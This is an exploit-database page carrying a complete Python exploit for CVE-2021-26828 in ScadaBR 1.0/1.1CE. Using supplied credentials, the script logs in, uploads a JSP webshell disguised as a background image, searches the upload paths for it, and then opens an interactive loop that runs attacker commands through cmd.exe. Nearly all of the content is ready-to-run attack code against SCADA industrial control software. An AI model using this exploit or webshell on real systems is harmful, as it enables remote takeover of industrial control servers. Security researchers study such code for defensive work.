ScadaBR 1.0 / 1.1CE Windows Shell Upload

2021.05.13
Risk: High
Local: No
Remote: Yes
CWE: CWE-264

#!/usr/bin/python # Exploit Title: Authenticated Arbitrary File Upload (Remote Code Execution) # Google Dork: N/A # Date: 03/2021 # Exploit Author: Fellipe Oliveira # Vendor Homepage: https://www.scadabr.com.br/ # Software Link: https://www.scadabr.com.br/ # Version: ScadaBR 1.0, ScadaBR 1.1CE and ScadaBR 1.0 for Linux # Tested on: Windows7, Windows10 # CVE : CVE-2021-26828 import requests,sys,time if len(sys.argv) <=4: print('[x] Missing arguments ... ') print('[>] Usage: python WinScada_RCE.py <TargetIp> <TargetPort> <User> <Password>') print('[>] Example: python WinScada_RCE.py 192.168.1.24 8080 admin admin') sys.exit(0) else: time.sleep(1) host = sys.argv[1] port = sys.argv[2] user = sys.argv[3] passw = sys.argv[4] flag = False LOGIN = 'http://'+host+':'+port+'/ScadaBR/login.htm' PROTECTED_PAGE = 'http://'+host+':'+port+'/ScadaBR/view_edit.shtm' banner = ''' +-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+ | _________ .___ ____________________ | | / _____/ ____ _____ __| _/____ \______ \______ \ | | \_____ \_/ ___\\__ \ / __ |\__ \ | | _/| _/ | | / \ \___ / __ \_/ /_/ | / __ \| | \| | \ | | /_______ /\___ >____ /\____ |(____ /______ /|____|_ / | | \/ \/ \/ \/ \/ \/ \/ | | | | > ScadaBR 1.0 ~ 1.1 CE Arbitrary File Upload (CVE-2021-26828) | | > Exploit Author : Fellipe Oliveira | | > Exploit for Windows Systems | +-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+ ''' def main(): payload = { 'username': user, 'password': passw } print(banner) time.sleep(2) with requests.session() as s: s.post(LOGIN, data=payload) response = s.get(PROTECTED_PAGE) print("[+] Trying to authenticate "+LOGIN+"...") if response.status_code == 200: print("[+] Successfully authenticated! :D~\n") time.sleep(2) else: print("[x] Authentication failed :(") sys.exit(0) burp0_url = "http://"+host+":"+port+"/ScadaBR/view_edit.shtm" burp0_cookies = {"JSESSIONID": "66E47DFC053393AFF6C2D5A7C15A9439"} burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------6150838712847095098536245849", "Origin": "http://"+host+":"+port+"/", "Connection": "close", "Referer": "http://"+host+":"+port+"/ScadaBR/view_edit.shtm", "Upgrade-Insecure-Requests": "1"} burp0_data = "-----------------------------6150838712847095098536245849\r\nContent-Disposition: form-data; name=\"view.name\"\r\n\r\n\r\n-----------------------------6150838712847095098536245849\r\nContent-Disposition: form-data; name=\"view.xid\"\r\n\r\nGV_218627\r\n-----------------------------6150838712847095098536245849\r\nContent-Disposition: form-data; name=\"backgroundImageMP\"; filename=\"win_cmd.jsp\"\r\nContent-Type: application/octet-stream\r\n\r\n<%@ page import=\"java.util.*,java.io.*\"%>\n<%\n%>\n<HTML><BODY>\nCommands with JSP\n<FORM METHOD=\"GET\" NAME=\"myform\" ACTION=\"\">\n<INPUT TYPE=\"text\" NAME=\"cmd\">\n<INPUT TYPE=\"submit\" VALUE=\"Send\">\n</FORM>\n<pre>\n<%\nif (request.getParameter(\"cmd\") != null) {\n out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<BR>\");\n Process p;\n if ( System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n p = Runtime.getRuntime().exec(\"cmd.exe /C \" + request.getParameter(\"cmd\"));\n }\n else{\n p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n }\n OutputStream os = p.getOutputStream();\n InputStream in = p.getInputStream();\n DataInputStream dis = new DataInputStream(in);\n String disr = dis.readLine();\n while ( disr != null ) {\n out.println(disr);\n disr = dis.readLine();\n }\n}\n%>\n</pre>\n</BODY></HTML>\n\r\n-----------------------------6150838712847095098536245849\r\nContent-Disposition: form-data; name=\"upload\"\r\n\r\nUpload image\r\n-----------------------------6150838712847095098536245849\r\nContent-Disposition: form-data; name=\"view.anonymousAccess\"\r\n\r\n0\r\n-----------------------------6150838712847095098536245849--\r\n" getdata = s.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) print('[>] Attempting to upload .jsp Webshell...') time.sleep(1) print('[>] Verifying shell upload...\n') time.sleep(2) if getdata.status_code == 200: print('[+] Upload Successfuly!') for num in range(1,500): PATH = 'http://'+host+':'+port+'/ScadaBR/uploads/%d.jsp' % (num) find = s.get(PATH) if find.status_code == 200: print('[+] Webshell Found in: http://'+host+':'+port+'/ScadaBR/uploads/%d.jsp' % (num)) flag = True print('[>] Spawning fake shell...') time.sleep(3) while flag: param = raw_input("# ") burp0_url = "http://"+host+":"+port+"/ScadaBR/uploads/%d.jsp?cmd=%s" % (num,param) burp0_cookies = {"JSESSIONID": "4FCC12402B8389A64905F4C8272A64B5"} burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://"+host+":"+port+"/ScadaBR/uploads/%d.jsp?cmd=%s", "Upgrade-Insecure-Requests": "1"} send = s.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies) clean = send.text.replace('<pre>', '').replace('<FORM METHOD=', '').replace('<HTML><BODY>', '').replace('"GET" NAME="myform" ACTION="">', '').replace('Commands with JSP', '').replace('<INPUT TYPE="text" NAME="cmd">', '').replace('<INPUT TYPE="submit" VALUE="Send">', '').replace('</FORM>', '').replace('<BR>', '').replace('</pre>', '').replace('</BODY></HTML>', '') print(clean) elif num == 499: print('[x] Webshell not Found') else: print('Reason:'+getdata.reason+' ') print('Exploit Failed x_x') if __name__ == '__main__': main()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top